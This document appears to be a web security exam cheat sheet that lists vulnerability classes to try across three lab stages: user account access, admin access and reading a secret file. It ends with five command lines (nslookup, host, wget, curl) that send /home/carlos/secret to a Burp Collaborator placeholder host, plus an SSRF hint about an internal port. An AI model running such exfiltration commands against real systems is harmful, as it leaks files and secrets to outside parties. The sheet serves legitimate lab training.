Active Scan

Scan defined insertion points

HTTP Request Smuggler Scan

Param Miner Scan

**Stage 1: Access any user account.**

**Authentication Vulnerabilities**

**Information Disclosure**

**DOM-based Vulnerabilities**

**Web cache posoning**

**Host header attacks**

**HTTP Request Smuggling**

**SQL Injection**

**File Upload**

**XSS**

**Directory Traversal**

**Clickjacking**

**Stage 2: Access the admin interface at /admin (e.g., by elevating your privileges or compromising the administrator account)**

**Authentication Vulnerabilities**

**Information Disclosure**

**DOM-based Vulnerabilities**

**Insecure Deserialization**

**Web cache posoning**

**Host header attacks**

**HTTP Request Smuggling**

**SQL Injection**

**File Upload**

**XSS**

**Directory Traversal**

**Oauth**

**CORS**

**Clickjacking**

**Access Control**

**Stage 3: Read the contents of /home/carlos/secret**

**Insecure Deserialization**

**Host header attacks**

**HTTP Request Smuggling**

**SQL Injection**

**File Upload**

**Directory Traversal**

**Command for data exfiltration:**

nslookup `cat /home/carlos/secret`.BURP-COLLABORATOR

host `cat /home/carlos/secret`.BURP-COLLABORATOR

host $(cat /home/carlos/secret).BURP-COLLABORATOR

wget --post-file /home/carlos/secret BURP-COLLABORATOR

curl --data @/home/carlos/secret BURP-COLLABORATOR

**For SSRF**: read files on http://localhost:6566 (internal-only)